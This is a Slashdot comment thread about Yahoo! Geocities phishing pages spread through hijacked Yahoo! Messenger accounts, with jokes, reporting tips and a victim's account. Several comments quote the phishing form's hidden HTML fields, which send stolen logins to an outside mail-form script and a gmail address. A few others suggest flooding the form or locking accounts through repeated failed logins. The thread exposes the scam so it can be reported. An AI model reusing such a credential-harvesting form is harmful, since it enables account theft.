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Phishing in Yahoo! Geocities?

Van Cutter Romney asks: "I've received a lot of phishing IMs on my Yahoo! Messenger from contacts whose accounts I guess have been hacked into. All the phishing messages lead to Geocities websites like this where the user is displayed a Yahoo! login page. For most people, the page looks legitimate and they enter their Yahoo! username and password (I was nearly fooled once). Since both the website (Geocities) and the messenger belong to Yahoo!, I'd like to know if they are doing to anything to counter these attacks."

54 comments

  1. Slashdot asks Van Cutter Romney by Anonymous Coward · · Score: 3, Funny

    Did you report it to Yahoo!? Or just Slashdot?

    1. Re:Slashdot asks Van Cutter Romney by Van+Cutter+Romney · · Score: 1

      don't know who in Yahoo! I should report to...

      --
      Help a man when he is in trouble and he will remember you when he is in trouble again.
    2. Re:Slashdot asks Van Cutter Romney by Anonymous Coward · · Score: 0

      You could try this Yahoo! form, but they'll need your username and password. Just kidding. And, you can always try abuse@yahoo.com.

    3. Re:Slashdot asks Van Cutter Romney by L7_ · · Score: 4, Informative
    4. Re:Slashdot asks Van Cutter Romney by LiquidCoooled · · Score: 1

      A good starting point would probably be The Yahoo abuse reporting subsystem.

      --
      liqbase :: faster than paper
  2. Thank you for calling the Mr. Obvious show! by numbski · · Score: 1, Funny

    and I quote:

    "NOTICE: We collect personal information on this site."

    Ya think?!?

    I never made the connection! Thanks Mr. Obvious!

    --

    Karma: Chameleon (mostly due to the fact that you come and go).

  3. something to do by ianpatt · · Score: 3, Interesting

    For those of you who are bored, you could try to get any of the addresses listed in the web form taken down.

    <FORM METHOD="POST" ACTION="http://www2.fiberbit.net/form/mailto.cgi" ENCTYPE="x-www-form-urlencoded">
    <INPUT TYPE="hidden" NAME="Mail_From" VALUE="Yahoo">
    <INPUT TYPE="hidden" NAME="Mail_To" VALUE="havinfunfun@gmail.com">
    <INPUT TYPE="hidden" NAME="Mail_Subject" VALUE="Yahoo id">

    I'm sure google would have a fun time going after whoever referred havinfunfun@gmail.com.

    1. Re:something to do by neoform · · Score: 1

      with 100 invites, it's basically just a regular webmail account.. anyone can get a gmail account these days.. there's pretty much no way of tracking this person down unless they get his IP and go after his ISP.

      --
      MABASPLOOM!
    2. Re:something to do by Anonymous Coward · · Score: 0

      and how much do you want to bet that the worlds largest data mining company didn't keep his IP? :)

  4. I knew there was something strange going on... by walnutmon · · Score: 4, Funny

    When I was asked for my username, password, and sexual orientation...

    --
    You take it, I don't want it...
    1. Re:I knew there was something strange going on... by StikyPad · · Score: 4, Funny

      When they came for the usernames,
      I remained silent;
      I was not a username.

      When they locked up the passwords,
      I remained silent;
      I was not a password.

      When they came for people with sexual orientation,
      I did not speak out;
      Because I have no idea what that means.

      When they came for me,
      there was no one left to speak out.

    2. Re:I knew there was something strange going on... by nacturation · · Score: 1

      When they came for people with sexual orientation,
      I did not speak out;
      Because I have no idea what that means.


      I guess you weren't invited to the debriefing.

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    3. Re:I knew there was something strange going on... by Anonymous Coward · · Score: 0

      When I was asked for my username, password, and sexual orientation...

      I suppose that's one way of performing a penetration test...

    4. Re:I knew there was something strange going on... by chimpo13 · · Score: 1

      Weird. I could actually hear the rim shot.

  5. Dear Penthouse Forum by Anonymous Coward · · Score: 0

    Van Cutter Romney asks questions to the wrong people. I'd like to know if he'll ever ask the appropriate people.

    1. Re:Dear Penthouse Forum by Van+Cutter+Romney · · Score: 1

      Who in Yahoo! do I report it to?

      "Hello, Mr. Semel it looks like your hosting service and IM are under attack. Dinner on Saturday night? Oh, that sounds like a wonderful idea!"

      Atleast this way, someone's going to take notice.

      --
      Help a man when he is in trouble and he will remember you when he is in trouble again.
    2. Re:Dear Penthouse Forum by Anonymous Coward · · Score: 0

      abuse@yahoo.com or abuse@geocities.com ? Just a couple ideas.

  6. I logged in... by Anonymous Coward · · Score: 3, Funny
    and I didn't see anything.

    What gives?

  7. Someone's asleep at the wheel. by Anonymous Coward · · Score: 5, Funny

    And yet the worst fishing site on geocities is still up-- since something like 1998? Someone's asleep at the wheel.

  8. Try Right Clicking the Screen by Anonymous Coward · · Score: 2, Insightful

    I found it obvious when I right clicked the page and it said Content (C) Flickr...I mean, the site says we are owned by Yahoo! then they claim Flickr owns the content.

    Also consider the SSL link seems to not be phished. I tried dummy data in both login forms and it said "Page Not Found" for the phished page that was not secured, while it said "ID not found" when I entered the information on SSL site. Someone should report the site http://www2.fiberbit.net/ to the domain registrar since the form submission is done through a page on that server. I'm quite surprised the person didn't try to mask the email address, obviously that form is used on quite a number of sites since the email address is clearly specified in the page content -- this person deserves to be caught. I just hope no one bought into the scam....

  9. From the phishing website... by The+MAZZTer · · Score: 1

    People who use Flickr rock!
    Not only does Flickr make you smell better, it also makes you more attractive.

  10. I left him a message by The+MAZZTer · · Score: 2, Funny

    Username: ohgodatleastspendthe
    Password: $5foradomainname

    The destination page is a 404 (I don't think it works?).

  11. Oh yeah, I read the title wrong too... by The+MAZZTer · · Score: 1

    I was like, "Huh? Pissing in Yahoo Geocities?" Sounds good to... oh wait... phishing...

  12. old news... by josepha48 · · Score: 0, Redundant
    I've known about this since December of 2005.

    You are about 8 months late!

    I initially was told that all you had to do was go to the site, by my roommate, but after a while found out he lied to me, and he logged in like this guy posted.

    I've since got him the netcraft toolbar, which tells and can block you from going to phish sites, or at least warn you about it.

    --

    Only 'flamers' flame!
    Does slashdot hate my posts?

  13. Ummm by Otter · · Score: 4, Insightful
    Since both the website (Geocities) and the messenger belong to Yahoo!, I'd like to know if they are doing to anything to counter these attacks.

    Maybe I'm missing something, but why the hell are you asking us?

    1. Re:Ummm by hords · · Score: 1

      Maybe I'm missing something, but why the hell are you asking us?

      Maybe he expects us to take them down via the slashdot effect.

  14. Excellent joke by technoextreme · · Score: 1, Funny
    And yet the worst fishing site on geocities is still up-- since something like 1998? Someone's asleep at the wheel.

    Ill be honest. I spent all that time to trying to figure out how the website was trying scam people out of money. Then I realized that it was nothing more that a pun. Great job and very subtle and it somehow being modded insightful made it even more funnyy.
    --
    Ooo man the floppy drive is broken. No wait. The computer is just upside down.
    1. Re:Excellent joke by Anonymous Coward · · Score: 0

      wow you're a dummy. but honest!

  15. Terms of service by Spy+der+Mann · · Score: 4, Informative

    report the webpage and you're done.

    Geocities is a kinda abandoned place (So much that webcomics make fun of it). There's no customer service, everything's automated there. The only thing that (I hope) isn't, is the "report offensive page" etc. The only change done to it was aesthetic and in the code. But the infrastructure remains.

    In other words, geocities servers do NOT have personnel searching and identifying phishing sites on them. They have to rely on the users.

    (This and popup ads led to the fall of free homepages. Most pages now are categorized in specialized sites: webcomics, blogs, art, fiction, and with youtube, videos).

    This was bound to happen sooner or later. Yahoo neglected geocities, is it a mystery that it became a meeting point for illegal activities?

    1. Re:Terms of service by Van+Cutter+Romney · · Score: 1

      Well they have one of the best Instant Messengers to phish your passwords with. And imagine what happens now that they have your username and password. do you know how many people have their personal information in Yahoo! Mail?

      --
      Help a man when he is in trouble and he will remember you when he is in trouble again.
  16. Fixed in the next version by Donut2099 · · Score: 1

    The next version of Geocities will require the user to check a box verifying that he is not a phisher.

  17. havinfunfun@gmail.com by SirTalon42 · · Score: 1

    If you view the source of the form on the phishing site you'll see that email address, it suuuure would be fun to spam that with fake info. Other info from the form that might be useful is:

    Subject: "Yahoo id"
    the URL for the mail form thats used is: http://www2.fiberbit.net/form/mailto.cgi

  18. Wonder if gmail/google should do something too by TheLink · · Score: 1

    The usernames and passwords might go to a gmail account, but not sure it actually does or not - depends on the mailto.cgi.

    Extract:
    <FORM METHOD="POST" ACTION="http://www2.fiberbit.net/form/mailto.cgi" ENCTYPE="x-www-form-urlencoded">
            <INPUT TYPE="hidden" NAME="Mail_From" VALUE="Yahoo">
            <INPUT TYPE="hidden" NAME="Mail_To" VALUE="havinfunfun@gmail.com">
            <INPUT TYPE="hidden" NAME="Mail_Subject" VALUE="Yahoo id">
            <INPUT TYPE="hidden" NAME="Next_Page" VALUE="http://www.geocities.com/got_milf.does_you_ good/index.html">

    --
  19. Address to report it to by Anonymous Coward · · Score: 2, Informative
  20. You can also feed it bogus info... by Anonymous Coward · · Score: 0

    But it tried to redirect me to some MILF site after I gave it a bogus login.

    Ooogh.

  21. Here is what they are getting by thegreatbob · · Score: 0

    $B$3$l$O%a!(B: ip0.0.0.0.ma.dl.cox.net / 0.0.0.0
            $BAw?.85%V%i%&%6(B: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
    rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4
            $BAw?.85#U#R#L!!(B:

    login = bbb
    passwd = bbb

    Gibberish text is probably an encoding shortcoming from the crap e-mail account i had it sent to.

    --
    There is no XUL, only WebExtensions...
    1. Re:Here is what they are getting by Anonymous Coward · · Score: 0

      The "gibberish" text is japanese. If you manually set your email client or browser character encoding to japanese when viewing the email you will see what it really says. I had a feeling that this may be someone japanese because www.fiberbit.net is a japanese website and havinfunfun sounds so engrish. Still could be someone from anywhere though seeing how the only info they care about is in plain english.

      I also did some test with the email address changed to a dodgeit.com address. I tested on an old computer I had with an old version of IE6 and Mozilla (yes Mozilla, not Firefox. Shows how long it has been since I have messed around with this computer). The IE6 test never came through, the Mozilla test took hours for the email to come through. So many people from slashdot flooding this page with fake login info is probably the reason the IE6 test never came through and the Mozilla test took so long.

      Translated with bable fish.
      Transmission original host name: ip0.0.0.0.ma.dl.cox.net / 0.0.0.0
      Transmission original browser: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4
      Transmission origin URL:

      login = bbb
      passwd = bbb

  22. Security problems by Anonymous Coward · · Score: 1, Interesting

    Yahoo! has huge security problems with their accounts. So does Hotmail. I'm not going to get into the details, but let me say this. For my friends and family who forgot their password to their Yahoo! account, it's fairly easy to get their account back for them.

  23. yes, we are by Anonymous Coward · · Score: 3, Informative

    While I work for Yahoo! I do not speak for them officially. I do not work on any of the products mentioned.

    We do have teams of people who work to fight any abuse of any of our products. When sites like those are found, they are taken down.

    Please report any instances of situations like those you described to:

    http://abuse.yahoo.com/ or abuse@yahoo-inc.com

    1. Re:yes, we are by zen-theorist · · Score: 2, Funny

      You can also report phishing instances at http://report-abuse-phishing-yahoo.com/ our customer service site dedicated to fighting phishing attacks. ;-)

    2. Re:yes, we are by nuzak · · Score: 1

      > We do have teams of people who work to fight any abuse of any of our products

      Sorry if I sound snippy, but do you have even a single person acting to prevent abuse?

      I realize that Geocities doesn't bring you any revenue, but Yahoo's business hosting has become such an open sewer of phishing and scams, that I couldn't consider hosting there for a nanosecond, let alone recommend it to anyone else.

      --
      Done with slashdot, done with nerds, getting a life.
  24. Oh, C'mon!!!... by BlueStrat · · Score: 2, Informative

    Who *doesn't* know that Yahoo/Geocities is a major phishing/script-kiddie resource and host?? This isn't news to anyone who has experience chatting in Yahoo chatrooms.

    There are script-kiddies and S/N stealers that constantly use geocities pages to host everything from phishing pages to outright trojan .exe files, disguised as videos or whatever, that they spam links to in yahoo chatrooms with, in an almost constant barrage.

    There is a subgroup of huge-egoed "1337" yahoo chatters that deal in stolen screen names and "illegal" or "illy" names in trade for other names, or straight cash.

    Yahoo seems to pay no attention whatsoever to their abuse reporting system. I've reported a geocities page hosting a trojan multiple times, and the site remained up for over a year, with the same trojan .exe file.

    One of the biggest things driving this subgroup of crackers and script-kiddies are the chat-bot spammers, who buy lists of stolen screen-names/accounts on which to log-on their spam/porn bots. There is an entire underground economy of stolen accounts/screen-names much larger and much older than any of the MMORPG gold trader/seller economies that have gotten so much press of late.

    I think Yahoo, despite all of their denials, are in bed with the spam/porn-bot operators, and turn a blind eye, even protecting them. I know people who chat on Yahoo that run "booter" programs that will kick/flood a chatter out of a room, even completely disconnect someone from Yahoo. They regularly boot normal chatters with impunity, but fear to boot "porn/spam-bots", as Yahoo will quickly shut down the booters' "bot" account(s) (most 'booter' programs utilise 'bots' to send their disconnect packets/IM floods/etc) and even ban the booter-operators' account and block that IP address.

    If I were this fellow, I'd consider myself lucky that the only thing he got from a geocities webpage was a phishing page, as opposed to a virus or trojan with much more serious and far-reaching consequences than having a Yahoo screen-name/account cracked or stolen.

    Cheers!

    Strat

    --
    Progressivism (aka US 'Liberalism'): Ideas so good they need a police/surveillance-state to enforce.
    1. Re:Oh, C'mon!!!... by Anonymous Coward · · Score: 0

      Well said BlueStrat. What gets me is the spambots, who spam with obviously fake website names. Clicking on them takes you to a adultfriendfinder website. So we know who Yahoo are in "Bed" with.
      Remember how yahoo banned the usercreated chat rooms, for fear of "Paedophiles" yet they let bots advertise all their sleeze websites to anyone. Yahoo really dont give a fuck about their software or services. On YahooMessanger you CANT disable the microphone when you go into a chatroom. Sure you can turn it off afterwards, but what the fuck use is that? Another fun thing I thought about was locking the bots accounts. Just openup a logon screen and type in their username and a crap password a few times. Going into chatrooms and seeing thousands of bots all talking to each other. Ive thought of having a website with screenshots of the fake bot accounts. Im sure that embarass Yahoo no end! Good Idea?? I would quit Yahoo but MSN and ICQ are no alternatives. Oh and disjoint is the name I have to type into slashdot to get my post accepted. Thank you, I will accept!

  25. Been there, done that. by antdude · · Score: 2, Interesting

    Yup, I was a victim of this YM phishing because of my dumb user error. Here's my story...

    I wasn't fully awake to notice the URLs because it was the middle of the night. I got a YM IM in my Trillian from someone whom I haven't heard from for months. It went like this (note: actual account/user names changed from their original ones):

    Session Start (ant:onion): Sat Jan 07 02:28:11 2006
    [02:28] onion: Hey check out this website for some photos of me tell me what you think http://www.myphoto-album.tk/
    [02:28] *** Auto-response sent to onion: ant isn't around here at the moment.
    [03:03] ant: I don't see anything even after logging in.
    [03:03] *** You are currently disconnected. Messages will not be received.
    [03:03] *** You are currently disconnected. Messages will not be received.
    [03:04] *** You are currently disconnected. Messages will not be received.
    [03:04] *** You are currently disconnected. Messages will not be received.
    Session Close (onion): Sat Jan 07 03:07:05 2006

    I thought YM servers went down or something. In the day time, it hit me. I got phished! My password was already changed (duh!).

    I quickly e-mailed Yahoo! A few days later, Y! asked for my information that I used to sign up. The problem here was I never used real personal datas in online accounts like Y! nor do I remember them. Plus, I signed up for my account like a decade ago.

    My buddies on the contact list (had a local back up copy so easy to contact) all got this phish. I already warned them not to reply. But some of them were too late and actually fell for it.

    I continued to e-mail Y!, but got no where. I eventually gave up and them told to shut down my account. However, Y! still refused. Of course, my buddies saw the fake me and phish IMs. Eventually, I told all my buddies fill out the online abuse forms to Yahoo!'s abuse department to shut down my account for phishing. Then, I never heard of more online sightings and phishings from my account.

    Here were two Web sites that were for collecting passwords (also contacted the hosts about my incidents). These fake Y!'s GeoCities were gone within days:
    www.my-photo-albums.tk
    www.myphoto-album.tk

    I was glad I didn't use Yahoo account other than IM and launch.com. I hate these bundled services within a single account like Passport. :(

    As you can see social engineering at its best even on people who knows computers. I fell for it. :(

    --
    Ant(Dude) @ Quality Foraged Links (AQFL.net) & The Ant Farm (antfarm.ma.cx / antfarm.home.dhs.org).
    1. Re:Been there, done that. by antdude · · Score: 2, Informative

      One more thing... Y! did recover my buddies' accounts that remembered their sign up information.

      --
      Ant(Dude) @ Quality Foraged Links (AQFL.net) & The Ant Farm (antfarm.ma.cx / antfarm.home.dhs.org).
  26. Just report to gmail's abuse! by antdude · · Score: 1

    Just tell gmail's abuse department about this article and phishing. :)

    --
    Ant(Dude) @ Quality Foraged Links (AQFL.net) & The Ant Farm (antfarm.ma.cx / antfarm.home.dhs.org).
  27. Fried Phish (PIRT) by skinfaxi · · Score: 1
    You could also send the info to the site below. I've been sending them a lot of my email phish and it they seem to be pretty active in getting sites taken down. Thank goodness! My Dad had a PayPal phish the other day that said something like "confirm you submitted this payment blahblah" for some item he hadn't actually bought. The scary thing was, the phish email actually had his real name in it. Luckily, the phish site had already been taken down when he tried to go to it to give them his PayPal info...

    http://www.castlecops.com/pirt

    "PIRT Squad Fried Phish(TM) Phishing Incident Reporting and Termination (PIRT) Squad

    A global phishing termination operation launched by CastleCops and Sunbelt Software, the volunteer PIRT Squad is comprised of folks who report phish, investigate phish, and actively work on phish takedown and termination (original concept by Robin Laudanski). PIRT is funded by CastleCops. Become a PIRT Squad terminator by reporting phish today!"

  28. Re:yes, we are- unblock/'man' abuse@yahoo.com 1st! by iamcf13 · · Score: 1

    Anonymous Yahoo! Employee: We do have teams of people who work to fight any abuse of any of our products.

    Unblock and properly 'man' abuse@yahoo.com and abuse@yahoo-inc.com then we'll talk about stopping user wrongdoing at Yahoo!

    Proof from rfc-ignorant.org:

    http://www.rfc-ignorant.org/tools/detail.php?domai n=yahoo.com&submitted=1123294881&table=abuse

    http://www.rfc-ignorant.org/tools/detail.php?domai n=yahoo-inc.com&submitted=1123294118&table=abuse

    You corporate tool... :P

    As are about all gainfully/legally employed people [like myself at the moment] not gainfully/legally self-employed... =/

    If you are 100% self-employed, count your blessings -- you've escaped the 'rat race' that saps the vitality of mankind everywhere in the name of 'increased corporate profit'....

  29. Hijacked IM Accounts by Anonymous Coward · · Score: 0

    Check out this blog article which goes into detail on this new phishing scheme.